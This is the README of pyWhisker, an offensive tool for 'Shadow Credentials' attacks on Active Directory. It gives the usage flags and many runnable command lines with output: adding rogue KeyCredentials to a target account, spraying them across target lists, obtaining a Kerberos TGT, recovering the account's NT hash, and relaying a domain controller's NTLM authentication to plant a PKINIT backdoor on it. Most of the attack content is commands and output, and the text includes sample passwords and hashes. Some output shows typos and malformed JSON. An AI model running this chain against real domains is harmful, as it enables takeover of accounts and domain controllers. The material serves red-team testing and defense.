
pyWhisker

pyWhisker is a Python equivalent of the original Whisker made by Elad Shamir and written in C#. This tool allows users to manipulate the `msDS-KeyCredentialLink` attribute of a target user/computer to obtain full control over that object. It's based on Impacket and on a Python equivalent of Michael Grafnetter's DSInternals called PyDSInternals made by podalirius. This tool, along with Dirkan's PKINITtools allow for a complete primitive exploitation on UNIX-based systems only.

Pre-requisites for this attack are as follows: 1. The target Domain Functional Level must be **Windows Server 2016** or above. 2. The target domain must have at least one Domain Controller running Windows Server 2016 or above. 3. The Domain Controller to use during the attack must have its own certificate and keys (this means either the organization must have AD CS, or a PKI, a CA or something alike). 4. The attacker must have control over an account able to write the `msDs-KeyCredentialLink` attribute of the target user or computer account.

Why some pre-reqs? - Pre-reqs 1 and 2 because the PKINIT features were introduced with Windows Server 2016. - Pre-req 3 because the DC needs its own certificate and keys for the session key exchange during the `AS_REQ` <-> `AS_REP` transaction.

A `KRB-ERROR` (16): `KDC_ERR_PADATA_TYPE_NOSUPP` will be raised if pre-req 3 is not met.

More information about this "Shadow Credentials" primitive: - Shadow Credentials: Abusing Key Trust Account Mapping for Takeover - The Hacker Recipes - ACEs abuse - The Hacker Recipes - Shadow Credentials

Usage

pyWhisker can be used to operate various actions on the `msDs-KeyCredentialLink` attribute of a target: - list: list all current KeyCredentials ID and creation time - add: add a new KeyCredential to the `msDs-KeyCredentialLink` - spray: spray adding a new KeyCredential to the `msDs-KeyCredentialLink` - remove: remove a KeyCredential from the `msDs-KeyCredentialLink` - clear: remove all KeyCredentials from the `msDs-KeyCredentialLink` - info: print all info contained in a KeyCredential structure - export: export all KeyCredentials from the `msDs-KeyCredentialLink` in JSON - import: overwrite the `msDs-KeyCredentialLink` with KeyCredentials from a JSON file

pyWhisker supports the following authentications: - (NTLM) Cleartext password - (NTLM) Pass-the-hash - (Kerberos) Cleartext password - (Kerberos) Pass-the-key / Overpass-the-hash - (Kerberos) Pass-the-cache (type of Pass-the-ticket)

Among other things, pyWhisker supports multi-level verbosity, just append `-v`, `-vv`, ... to the command :)

pyWhisker can also do cross-domain, see the `-td/--target-domain` argument.

```
1  usage: pywhisker.py [-h] (-t TARGET_SAMNAME | -tl TARGET_SAMNAME_LIST)
   [-a [{list,add,spray,remove,clear,info,export,import}]] [--use-ldaps]
   [-v] [-q] [--dc-ip ip address] [-d DOMAIN]
2                               [-u USER] [-td TARGET_DOMAIN] [--no-pass | -p
   PASSWORD | -H [LMHASH:]NTHASH | --aes-key hex
   key] [-k] [-P PFX_PASSWORD] [-f FILENAME] [-e {
   PEM,PFX}] [-D DEVICE_ID]
3
4  Python (re)setter for property msDS-KeyCredentialLink for Shadow
   Credentials attacks.
5
6  optional arguments:
7  -h, --help            show this help message and exit
8  -t TARGET_SAMNAME, --target TARGET_SAMNAME
9                        Target account
10 -tl TARGET_SAMNAME_LIST, --target-list TARGET_SAMNAME_LIST
11                        Path to a file with target accounts names (one
   per line)
12 -a [{list,add,spray,remove,clear,info,export,import}], --action [{
   list,add,spray,remove,clear,info,export,import}]
13                        Action to operate on msDS-KeyCredentialLink
14 --use-ldaps            Use LDAPS instead of LDAP
15 -v, --verbose          verbosity level (-v for verbose, -vv for debug)
16 -q, --quiet            show no information at all
17
18 authentication & connection:
19 --dc-ip ip address     IP Address of the domain controller or KDC (Key
   Distribution Center) for Kerberos. If omitted it will use the
   domain part (FQDN) specified in the identity parameter
20 -d DOMAIN, --domain DOMAIN
21                        (FQDN) domain to authenticate to
22 -u USER, --user USER  user to authenticate with
23 -td TARGET_DOMAIN, --target-domain TARGET_DOMAIN
24                        Target domain (if different than the domain of
   the authenticating user)
25
26 --no-pass              don't ask for password (useful for -k)
27 -p PASSWORD, --password PASSWORD
28                        password to authenticate with
29 -H [LMHASH:]NTHASH, --hashes [LMHASH:]NTHASH
30                        NT/LM hashes, format is LMhash:NThash
31 --aes-key hex key     AES key to use for Kerberos Authentication (128
   or 256 bits)
32 -k, --kerberos         Use Kerberos authentication. Grabs credentials
   from .ccache file (KRB5CCNAME) based on target parameters. If
   valid credentials cannot be found, it will use the ones
```

```

33         specified in the command line
34
35 arguments when setting -action to add:
36     -P PFX_PASSWORD, --pfx-password PFX_PASSWORD
37         password for the PFX stored self-signed
38         certificate (will be random if not set, not
39         needed when exporting to PEM)
40     -f FILENAME, --filename FILENAME
41         filename to store the generated self-signed PEM
42         or PFX certificate and key, or filename for
43         the "import"/"export" actions
44     -e {PEM,PFX}, --export {PEM,PFX}
45         choose to export cert+private key in PEM or PFX
46         (i.e. #PKCS12) (default: PFX))
47
48 arguments when setting -action to remove:
49     -D DEVICE_ID, --device-id DEVICE_ID
50         device ID of the KeyCredentialLink to remove
51         when setting -action to remove

```

Below are examples and screenshots of what pyWhisker can do.

List and get info

pyWhisker has the ability to list existing KeyCredentials. In addition to that, it can unfold the whole structure to show every piece of information that object contains (including the RSA public key parameters).

```

1 python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword"
  --target "user2" --action "list"
2 python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword"
  --target "user2" --action "info" --device-id 6419739b-ff90-f5c7
  -0737-1331daeb7db6

```

```

[Jul 29, 2021 - 14:38:31 (UTC)] exegol-pywhisker /workspace # python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "list"
[*] Searching for the target account
[*] Target user found: CN=User2,CN=Users,DC=domain,DC=local
[*] Listing devices for user2
[*] DeviceID: 6419739b-ff90-f5c7-0737-1331daeb7db6 | Creation Time (UTC): 2021-07-29 14:38:40.210041
[*] DeviceID: 608edf3a-c15c-e838-232b-163a2c130700 | Creation Time (UTC): 2021-07-29 14:38:40.210897
[*] DeviceID: 861b8ade-cf7a-a209-4923-d2439084b647 | Creation Time (UTC): 2021-07-29 14:38:40.211043
[*] DeviceID: 0b21c215-e301-40fb-1a4c-e37ce00b853b | Creation Time (UTC): 2021-07-29 14:38:40.211534
[Jul 29, 2021 - 14:38:40 (UTC)] exegol-pywhisker /workspace # python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "info" -D 6419739b-ff90-f5c7-0737-1331daeb7db6
[*] Searching for the target account
[*] Target user found: CN=User2,CN=Users,DC=domain,DC=local
[*] Found device ID
<KeyCredential structure at 0x7f2568418070>
  Version: 0x200
  KeyID: c1Dp+C3Cw7f0qWkqh8XvjU10RxF40d34+GSy7l0=
  KeyHash: b5f9101c219e7fa6471e237c663d532e675c26fa33f8614ac2d8adf77fd4278
  RawKeyMaterial: <pydsinternals.common.data.RSAKeyMaterial.RSAKeyMaterial object at 0x7f25683e7ac0>
  Exponent (E): 65537
  Modulus (N): 0xc60f6eb7eb7440dbd2e279d00186a9a03722d0b6af08833440df6ab302dfc025529286c8cf5ad1fc15aa915739ebf9e06bfacd57d4e04faa1251d6f1ba0e83f2045e0468a22d7e3a4d0053738953935a1c4bd7a831e854fb3e815
  ad4ab8a764ff96802d33d3cb27ca3a0545f92d541bb0bff51196febbf6b2ad5126016f559aa0f076cbe3c21990b4c3766b0b094530e8712c8be2c07eba49c3a35b0b15e49c28f65419db5c7f579bf269f67cc0e6fc0419d3c36ae0e6bfe1405868a729dc1089fc4dd0
  b262f26a8249e10ba5f546cdd03dbf734b7c57a6dadfd8a1c2f21401ac1d8a3383e6aa5ee4236d7cb2c6b09b2b7a01ebc3dc7e7dfe9b939
  Prime1 (P): 0x0
  Prime2 (Q): 0x0
  Usage: KeyUsage_NGC
  LegacyUsage: None
  Source: KeySource_AD
  DeviceID: 6419739b-ff90-f5c7-0737-1331daeb7db6
  CustomKeyInfo: <CustomKeyInformation at 0x7f25683e7fab>
  Version: 1
  Flags: 0
  VolumeType: None
  SupportsNotification: None
  FekKeyVersion: None
  Strength: None
  Reserved: None
  EncodedExtendedCKI: None
  LastLogonTime: 2021-07-29 14:39:14.344363
  CreationTime: 2021-07-29 14:39:14.344374
[Jul 29, 2021 - 14:45:16 (UTC)] exegol-pywhisker /workspace #

```

Clear and remove

pyWhisker has the ability to remove specific values or clear the whole attribute.

```
1 python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword"
  --target "user2" --action "remove" --device-id a8ce856e-9b58-61f9-8
  fd3-b079689eb46e
```

```
[Jul 29, 2021 - 14:46:54 (UTC)] exegol-pywhisker /workspace # python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "list"
[*] Searching for the target account
[*] Target user found: CN=user2,CN=Users,DC=domain,DC=local
[*] Listing devices for user2
[*] DeviceID: a8ce856e-9b58-61f9-8fd3-b079689eb46e | Creation Time (UTC): 2021-07-29 14:46:58.247028
[*] DeviceID: 00a7b6e6-c872-9e47-44f1-e839174a07a9 | Creation Time (UTC): 2021-07-29 14:46:58.247543
[*] DeviceID: e08f3f89-0fc7-fe38-0fd9-5ddc1525bf19 | Creation Time (UTC): 2021-07-29 14:46:58.248067
[*] DeviceID: 325984e3-2d9d-c4f2-3e3b-d899f2b676dd | Creation Time (UTC): 2021-07-29 14:46:58.248551
[Jul 29, 2021 - 14:46:58 (UTC)] exegol-pywhisker /workspace # python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "remove" -D a8ce856e-9b58-61f9-8fd3-b079689eb46e
[*] Searching for the target account
[*] Target user found: CN=user2,CN=Users,DC=domain,DC=local
[*] Found value to remove
[*] Updating the msDS-KeyCredentialLink attribute of user2
[*] Updated the msDS-KeyCredentialLink attribute of the target object
[Jul 29, 2021 - 14:47:05 (UTC)] exegol-pywhisker /workspace # python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "list"
[*] Searching for the target account
[*] Target user found: CN=user2,CN=Users,DC=domain,DC=local
[*] Listing devices for user2
[*] DeviceID: 00a7b6e6-c872-9e47-44f1-e839174a07a9 | Creation Time (UTC): 2021-07-29 14:47:07.619537
[*] DeviceID: e08f3f89-0fc7-fe38-0fd9-5ddc1525bf19 | Creation Time (UTC): 2021-07-29 14:47:07.620020
[*] DeviceID: 325984e3-2d9d-c4f2-3e3b-d899f2b676dd | Creation Time (UTC): 2021-07-29 14:47:07.620500
[Jul 29, 2021 - 14:47:07 (UTC)] exegol-pywhisker /workspace #
```

```
1 python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword"
  --target "user2" --action "clear"
```

```
[Jul 29, 2021 - 14:47:05 (UTC)] exegol-pywhisker /workspace # python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "list"
[*] Searching for the target account
[*] Target user found: CN=user2,CN=Users,DC=domain,DC=local
[*] Listing devices for user2
[*] DeviceID: 00a7b6e6-c872-9e47-44f1-e839174a07a9 | Creation Time (UTC): 2021-07-29 14:47:07.619537
[*] DeviceID: e08f3f89-0fc7-fe38-0fd9-5ddc1525bf19 | Creation Time (UTC): 2021-07-29 14:47:07.620020
[*] DeviceID: 325984e3-2d9d-c4f2-3e3b-d899f2b676dd | Creation Time (UTC): 2021-07-29 14:47:07.620500
[Jul 29, 2021 - 14:47:07 (UTC)] exegol-pywhisker /workspace # python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "clear"
[*] Searching for the target account
[*] Target user found: CN=user2,CN=Users,DC=domain,DC=local
[*] Clearing the msDS-KeyCredentialLink attribute of user2
[*] msDS-KeyCredentialLink cleared successfully!
[Jul 29, 2021 - 14:47:10 (UTC)] exegol-pywhisker /workspace # python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "list"
[*] Searching for the target account
[*] Target user found: CN=user2,CN=Users,DC=domain,DC=local
[*] Attribute msDS-KeyCredentialLink is empty
[Jul 29, 2021 - 14:58:46 (UTC)] exegol-pywhisker /workspace #
```

Add new values

pyWhisker has the ability to generate RSA keys, a X509 certificate, a KeyCredential structure, and to write the necessary information as new values of the `msDs-KeyCredentialLink` attribute. The certificate can be exported in a PFX format (#PKCS12, certificate + private key protected with a password) or in a PEM format (PEM certificate, PEM private key, no password needed).

Example with the PFX format

```
1 python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword"
  --target "user2" --action "add" --filename test1
```

```
[Jul 29, 2021 - 14:56:03 (UTC)] exegol-pywhisker /workspace # python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "list"
[*] Searching for the target account
[*] Target user found: CN=user2,CN=Users,DC=domain,DC=local
[*] Attribute msDS-KeyCredentialLink is empty
[Jul 29, 2021 - 14:56:06 (UTC)] exegol-pywhisker /workspace # python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "add" -o test1
[*] Searching for the target account
[*] Target user found: CN=user2,CN=Users,DC=domain,DC=local
[*] Generating certificate
[*] Certificate generated
[*] Generating KeyCredential
[*] KeyCredential generated with DeviceID: da28391a-f322-40fa-7ac5-40f32ea05f1f
[*] Updating the msDS-KeyCredentialLink attribute of user2
[*] Updated the msDS-KeyCredentialLink attribute of the target object
[*] Saved PFX (#PKCS12) certificate & key at path: test1.pfx
[*] Must be used with password: xl6RyLBLqdhBlCTHJF3R
[*] A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools
[Jul 29, 2021 - 14:56:13 (UTC)] exegol-pywhisker /workspace # python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "list"
[*] Searching for the target account
[*] Target user found: CN=user2,CN=Users,DC=domain,DC=local
[*] Listing devices for user2
[*] DeviceID: da28391a-f322-40fa-7ac5-40f32ea05f1f | Creation Time (UTC): 2021-07-29 14:56:16.825779
```

Once the values are generated and added by pyWhisker, a TGT can be request with gettgtpkinit.py. The NT hash can then be recovered with getnthash.py.

```
1 python3 PKINITtools/gettgtpkinit.py -cert-pfx test1.pfx -pfx-pass
  xl6RyLBLqdhBlCTHJF3R domain.local/user2 user2.ccache
2 python3 PKINITtools/getnthash.py -key
  f4d6738897808edd3868fa8c60f147366c41016df623de048d600d4e2f156aa9
  domain.local/user2
```

```
[Jul 29, 2021 - 14:56:16 (UTC)] exegol-pywhisker /workspace # python3 PKINITtools/gettgtpkinit.py -cert-pfx test1.pfx -pfx-pass xl6RyLBLqdhBlCTHJF3R domain.local/user2 user2.ccache
2021-07-29 14:57:23.834 minikerberos INFO Loading certificate and key from file
2021-07-29 14:57:23.852 minikerberos INFO Requesting TGT
2021-07-29 14:57:23.861 minikerberos INFO AS-REP encryption key (you might need this later):
2021-07-29 14:57:23.861 minikerberos INFO f4d6738897808edd3868fa8c60f147366c41016df623de048d600d4e2f156aa9
2021-07-29 14:57:23.864 minikerberos INFO Saved TGT to file
[Jul 29, 2021 - 14:57:23 (UTC)] exegol-pywhisker /workspace # export KRBS5CCNAME=user2.ccache
[Jul 29, 2021 - 14:57:26 (UTC)] exegol-pywhisker /workspace # python3 PKINITtools/getnthash.py -key f4d6738897808edd3868fa8c60f147366c41016df623de048d600d4e2f156aa9 domain.local/user2
Impacket v0.9.24.dev1+20210706.140217.6da655ca - Copyright 2021 SecureAuth Corporation

[*] Using TGT from cache
[*] Requesting ticket to self with PAC
Recovered NT Hash
126f1f9fdb9a7d9c7ba8d269728b7da0
```

Example with the PEM format

```
1 python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword"
  --target "user2" --action "add" --filename test2 --export PEM
```

```
[Jul 29, 2021 - 15:04:42 (UTC)] exegol-pywhisker /workspace # python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "list"
[*] Searching for the target account
[*] Target user found: CN=user2,CN=Users,DC=domain,DC=local
[*] Listing devices for user2
[*] DeviceID: fd223aba-df79-c01a-77e2-a1dfc3f4bdf3 | Creation Time (UTC): 2021-07-29 15:04:48.283813
[*] DeviceID: da28391a-f322-40fa-7ac5-40f32ea05f1f | Creation Time (UTC): 2021-07-29 15:04:48.284326
[Jul 29, 2021 - 15:04:48 (UTC)] exegol-pywhisker /workspace # python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "add" -o test2 -e PEM
[*] Searching for the target account
[*] Target user found: CN=user2,CN=Users,DC=domain,DC=local
[*] Generating certificate
[*] Certificate generated
[*] Generating KeyCredential
[*] KeyCredential generated with DeviceID: 0f77cb18-77ec-141d-e48e-56486cbd0895
[*] Updating the msDS-KeyCredentialLink attribute of user2
[*] Updated the msDS-KeyCredentialLink attribute of the target object
[*] Saved PEM certificate at path: test2_cert.pem
[*] Saved PEM private key at path: test2_priv.pem
[*] A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools
[Jul 29, 2021 - 15:04:52 (UTC)] exegol-pywhisker /workspace # python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "list"
[*] Searching for the target account
[*] Target user found: CN=user2,CN=Users,DC=domain,DC=local
[*] Listing devices for user2
[*] DeviceID: fd223aba-df79-c01a-77e2-a1dfc3f4bdf3 | Creation Time (UTC): 2021-07-29 15:04:54.742957
[*] DeviceID: 0f77cb18-77ec-141d-e48e-56486cbd0895 | Creation Time (UTC): 2021-07-29 15:04:54.743476
[*] DeviceID: da28391a-f322-40fa-7ac5-40f32ea05f1f | Creation Time (UTC): 2021-07-29 15:04:54.743959
```

Once the values are generated and added by pyWhisker, a TGT can be request with gettgtpkinit.py. The NT hash can then be recovered with getnthash.py.

```
1 python3 PKINITtools/gettgtpkinit.py -cert-pem test2_cert.pem -key-pem
  test2_priv.pem domain.local/user2 user2.ccache
```

```
2 python3 PKINITtools/getnthash.py -key 894
fde81fb7cf87963e4bda9e9e288536a0508a1553f15fdf24731731cecad16 domain
.local/user2
```

```
[Jul 29, 2021 - 15:05:32 (UTC)] exegol-pywhisker /workspace # python3 PKINITtools/gettptkinit.py -cert-pem test2_cert.pem -key-pem test2_priv.pem domain.local/user2 user2.ccache
2021-07-29 15:05:45,276 minikerberos INFO Loading certificate and key from file
2021-07-29 15:05:45,290 minikerberos INFO Requesting TGT
2021-07-29 15:05:45,299 minikerberos INFO AS-REP encryption key (you might need this later):
2021-07-29 15:05:45,299 minikerberos INFO 894fde81fb7cf87963e4bda9e9e288536a0508a1553f15fdf24731731cecad16
2021-07-29 15:05:45,302 minikerberos INFO Saved TGT to file
[Jul 29, 2021 - 15:05:46 (UTC)] exegol-pywhisker /workspace # export KRBS5CCNAME=user2.ccache
[Jul 29, 2021 - 15:05:50 (UTC)] exegol-pywhisker /workspace # python3 PKINITtools/getnthash.py -key 894fde81fb7cf87963e4bda9e9e288536a0508a1553f15fdf24731731cecad16 domain.local/user2
Impacket v0.9.24.dev1+20210706.140217.6da655ca - Copyright 2021 SecureAuth Corporation

[*] Using TGT From cache
[*] Requesting ticket to self with PAC
Recovered NT Hash
126f1f9fdb9a7d9c7ba8d269728b7da0
```

Spray new values

pyWhisker can chain multiple KeyCredentials additions, to a set of targets, i.e. spray (if the credentials used have the right permissions).

```
1 python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword"
--target-list targetlist.txt --action "spray"
```

Import and export

KeyCredentials stored in the `msDs-KeyCredentialLink` attribute can be parsed, structured and saved as JSON.

```
[Aug 01, 2021 - 18:28:24 (UTC)] exegol-pywhisker /workspace # python3 pywhisker.py --dc-ip 192.168.56.101 -d domain.local -u 'user2' -p itsbritneybitch --target 'user2' --action list
[*] Searching for the target account
[*] Target user found: CN=user2,CN=Users,DC=domain,DC=local
[*] Listing devices for user2
[*] DeviceID: c5783a3a-a4e1-bcc9-659e-f042a0f95a5d | Creation Time (UTC): 2021-08-01 18:24:10.410076
[*] DeviceID: d374fdb6-2f93-bf0d-6dbe-1126447ac9c4 | Creation Time (UTC): 2021-08-01 18:24:11.302988
[*] DeviceID: ec64840f-cfc6-7a4d-977f-fdd6d9d93775 | Creation Time (UTC): 2021-08-01 18:24:09.054506
[Aug 01, 2021 - 18:28:30 (UTC)] exegol-pywhisker /workspace # python3 pywhisker.py --dc-ip 192.168.56.101 -d domain.local -u 'user2' -p itsbritneybitch --target 'user2' --action export
[*] Searching for the target account
[*] Target user found: CN=user2,CN=Users,DC=domain,DC=local
[*] Saved JSON dump at path: PDGms7uD.json
[Aug 01, 2021 - 18:28:34 (UTC)] exegol-pywhisker /workspace # cat PDGms7uD.json | jq '.keyCredentials[0]'
{
  "Owner": "CN=user2,CN=Users,DC=domain,DC=local",
  "Version": 512,
  "Identifier": "/x5E7yZ8x7G3FXuH1I/poSf1qnC8qekdYp3VtXd6l5I=",
  "KeyHash": "afb676e7c1478490f33b1d225506171b12c4648e05d612a63cc75245089e2456",
  "CreationTime": 132723158504100750,
  "RawKeyMaterial": {
    "modulus": 1.7976931348623157e+308,
    "exponent": 65537,
    "prime1": 0,
    "prime2": 0,
    "keySize": 2048
  },
  "Usage": 1,
  "LegacyUsage": ,
  "Source": 0,
  "DeviceId": "c5783a3a-a4e1-bcc9-659e-f042a0f95a5d",
  "LastLoginTime": 132723158504100750,
  "CustomKeyInfo": {
    "Version": 1,
    "Flags": 0,
    "VolumeType": ,
    "SupportsNotification": ,
    "FekKeyVersion": ,
    "Strength": ,
    "Reserved": ,
    "EncodedExtendedCKI":
  }
}
[Aug 01, 2021 - 18:28:42 (UTC)] exegol-pywhisker /workspace #
```

The JSON export can then be used to restore the `msDs-KeyCredentialLink` attribute in the state it was at the time of export.

```
[Aug 01, 2021 - 18:29:54 (UTC)] exegol-pywhisker /workspace # python3 pywhisker.py --dc-ip 192.168.56.101 -d domain.local -u 'user1' -p complexpassword --target 'user2' --action list
[*] Searching for the target account
[*] Target user found: CN=user2,CN=Users,DC=domain,DC=local
[*] Listing devices for user2
[*] DeviceID: c5783a3a-a4e1-bcc9-659e-f042a0f95a5d | Creation Time (UTC): 2021-08-01 18:24:10.410076
[*] DeviceID: d374fdbe-2f93-bf0d-6dbe-1126447ac9c4 | Creation Time (UTC): 2021-08-01 18:24:11.302988
[*] DeviceID: ec64840f-cfc6-7a4d-977f-f1d6d9d93775 | Creation Time (UTC): 2021-08-01 18:24:09.054506
[Aug 01, 2021 - 18:29:55 (UTC)] exegol-pywhisker /workspace # python3 pywhisker.py --dc-ip 192.168.56.101 -d domain.local -u 'user1' -p complexpassword --target 'user2' --action clear
[*] Searching for the target account
[*] Target user found: CN=user2,CN=Users,DC=domain,DC=local
[*] Clearing the msDS-KeyCredentialLink attribute of user2
[*] msDS-KeyCredentialLink cleared successfully!
[Aug 01, 2021 - 18:29:58 (UTC)] exegol-pywhisker /workspace # python3 pywhisker.py --dc-ip 192.168.56.101 -d domain.local -u 'user1' -p complexpassword --target 'user2' --action list
[*] Searching for the target account
[*] Target user found: CN=user2,CN=Users,DC=domain,DC=local
[*] Attribute msDS-KeyCredentialLink is either empty or user does not have read permissions on that attribute
[Aug 01, 2021 - 18:30:00 (UTC)] exegol-pywhisker /workspace # python3 pywhisker.py --dc-ip 192.168.56.101 -d domain.local -u 'user1' -p complexpassword --target 'user2' --action import -f PDGms7u0.json
[*] Searching for the target account
[*] Target user found: CN=user2,CN=Users,DC=domain,DC=local
[*] Modifying the msDS-KeyCredentialLink attribute of user2
[*] msDS-KeyCredentialLink modified successfully!
[Aug 01, 2021 - 18:30:11 (UTC)] exegol-pywhisker /workspace # python3 pywhisker.py --dc-ip 192.168.56.101 -d domain.local -u 'user1' -p complexpassword --target 'user2' --action list
[*] Searching for the target account
[*] Target user found: CN=user2,CN=Users,DC=domain,DC=local
[*] Listing devices for user2
[*] DeviceID: c5783a3a-a4e1-bcc9-659e-f042a0f95a5d | Creation Time (UTC): 2021-08-01 18:24:10.410076
[*] DeviceID: d374fdbe-2f93-bf0d-6dbe-1126447ac9c4 | Creation Time (UTC): 2021-08-01 18:24:11.302988
[*] DeviceID: ec64840f-cfc6-7a4d-977f-f1d6d9d93775 | Creation Time (UTC): 2021-08-01 18:24:09.054506
[Aug 01, 2021 - 18:30:14 (UTC)] exegol-pywhisker /workspace #
```

Relayed authentication

A Pull Request was merged into ntlmrelayx to include pyWhisker's "adding" feature.

```
[*] Protocol Client HTTP loaded..
[*] Protocol Client HTTPS loaded..
[*] Running in relay mode to single host
[*] Setting up SMB Server
[*] Setting up HTTP Server
[*] Setting up WCF Server

[*] Servers started, waiting for connections
[*] SMBD-Thread-4: Connection from DOMAIN/DC01$@192.168.56.101 controlled, attacking target ldap://192.168.56.103
[*] Authenticating against ldap://192.168.56.103 as DOMAIN/DC01$ SUCCEEDED
[*] Enumerating relayed user's privileges. This may take a while on large domains
[*] SMBD-Thread-4: Connection from DOMAIN/DC01$@192.168.56.101 controlled, but there are no more targets left!
[*] SMBD-Thread-6: Connection from DOMAIN/DC01$@192.168.56.101 controlled, but there are no more targets left!
[*] Searching for the target account
[*] Target user found: CN=DC01,OU=Domain Controllers,DC=domain,DC=local
[*] Generating certificate
[*] Certificate generated
[*] Generating KeyCredential
[*] KeyCredential generated with DeviceID: ec8c8b96-a2e5-c8fc-69e3-0d64097ca7e3
[*] Updating the msDS-KeyCredentialLink attribute of DC01$
[*] Updated the msDS-KeyCredentialLink attribute of the target object
[*] Saved PFX (#PKCS12) certificate & key at path: pLSKXoIg.pfx
[*] Must be used with password: cFJ3Dpx07vNN8aeXFM7P
[*] A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools
[*] Run the following command to obtain a TGT
[*] python3 PKINITtools/gettgtpkinit.py -cert-pfx pLSKXoIg.pfx -pfx-pass cFJ3Dpx07vNN8aeXFM7P DOMAIN.LOCAL/DC01$ pLSKXoIg.ccache
```

Useful knowledge

User objects can't edit their own `msDS-KeyCredentialLink` attribute. However, **computer objects can**. This means the following scenario could work: trigger an NTLM authentication from DC01, relay it to DC02, make pyWhisker edit DC01's attribute to create a Kerberos PKINIT pre-authentication backdoor on it.


```
[Jul 30, 2021 - 12:42:20 (UTC)] exegol-pywhisker /workspace # python3 pywhisker.py -d "DOMAIN.LOCAL" -u 'user2' -p itsbritneybitch --target 'user2' --action add
[*] Searching for the target account
[*] Target user found: CN=user2,CN=Users,DC=domain,DC=local
[*] Generating certificate
[*] Certificate generated
[*] Generating KeyCredential
[*] KeyCredential generated with DeviceID: 42f3f3c5-36f6-0c2e-56f0-b738a47a7d79
[*] Updating the msDS-KeyCredentialLink attribute of user2
[!] Could not modify object, the server reports insufficient rights: 00002098: SecErr: DSID-03150F94, problem 4003 (INSUFF_ACCESS_RIGHTS), data 0

[Jul 30, 2021 - 12:42:22 (UTC)] exegol-pywhisker /workspace # python3 pywhisker.py -d "DOMAIN.LOCAL" -u 'user2' -p itsbritneybitch --target 'user2' --action clear
[*] Searching for the target account
[*] Target user found: CN=user2,CN=Users,DC=domain,DC=local
[*] Clearing the msDS-KeyCredentialLink attribute of user2
[!] Could not modify object, the server reports insufficient rights: 00002098: SecErr: DSID-03150F94, problem 4003 (INSUFF_ACCESS_RIGHTS), data 0
```

Computer objects can edit their own `msDS-KeyCredentialLink` attribute but **can only add a KeyCredential if none already exists**.

```
[Jul 30, 2021 - 12:43:51 (UTC)] exegol-pywhisker /workspace # python3 pywhisker.py -d domain.local -u 'sv01$' -H 858a51e75b4980ed30cb9acd2703c8b2 --target 'sv01$' --action list
[*] Searching for the target account
[*] Target user found: CN=SV01,CN=Computers,DC=domain,DC=local
[*] Attribute msDS-KeyCredentialLink is empty
[Jul 30, 2021 - 12:43:55 (UTC)] exegol-pywhisker /workspace # python3 pywhisker.py -d domain.local -u 'sv01$' -H 858a51e75b4980ed30cb9acd2703c8b2 --target 'sv01$' --action add
[*] Searching for the target account
[*] Target user found: CN=SV01,CN=Computers,DC=domain,DC=local
[*] Generating certificate
[*] Certificate generated
[*] Generating KeyCredential
[*] KeyCredential generated with DeviceID: 86d73dd7-eb06-58ce-bd4f-239475a71597
[*] Updating the msDS-KeyCredentialLink attribute of sv01$
[*] Updated the msDS-KeyCredentialLink attribute of the target object
[*] Saved PFX (#PKCS12) certificate & key at path: Cl6nnIHa.pfx
[*] Must be used with password: 3Q38pVAqvHl1bkFdMiy
[*] A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools
[Jul 30, 2021 - 12:43:57 (UTC)] exegol-pywhisker /workspace # python3 pywhisker.py -d domain.local -u 'sv01$' -H 858a51e75b4980ed30cb9acd2703c8b2 --target 'sv01$' --action add
[*] Searching for the target account
[*] Target user found: CN=SV01,CN=Computers,DC=domain,DC=local
[*] Generating certificate
[*] Certificate generated
[*] Generating KeyCredential
[*] KeyCredential generated with DeviceID: 1c086cf9-b402-3e0b-fe0f-10622101fbd6
[*] Updating the msDS-KeyCredentialLink attribute of sv01$
[!] Could not modify object, the server reports insufficient rights: 00002098: SecErr: DSID-03150F94, problem 4003 (INSUFF_ACCESS_RIGHTS), data 0

[Jul 30, 2021 - 12:44:00 (UTC)] exegol-pywhisker /workspace # python3 pywhisker.py -d domain.local -u 'sv01$' -H 858a51e75b4980ed30cb9acd2703c8b2 --target 'sv01$' --action clear
[*] Searching for the target account
[*] Target user found: CN=SV01,CN=Computers,DC=domain,DC=local
[*] Clearing the msDS-KeyCredentialLink attribute of sv01$
[*] msDS-KeyCredentialLink cleared successfully!
```

If you encounter errors, make sure there is no time skew between your attacker host and the Key Distribution Center (usually the Domain Controller). In order to avoid that error, the certificates generated by the pyWhisker tool are valid 40 years before the current date and 40 years after.

Credits and references

- Credits to Dirk-jan for his work on PKINITtools. We initially planned on refactoring Impacket scripts (especially gettgt.py) to implement asymmetric PKINIT pre-authentication for Kerberos. He saved us a huge deal of headaches by writing it before us!
- Credits to the whole team behind Impacket and its contributors.
- Credits to Elad Shamir who created the original C# tool (Whisker) and to Michael Grafnetter's who made DSInternals, a library doing most of Whisker's heavy lifting. He also was the one who made the original Black Hat demo presenting the attack primitive.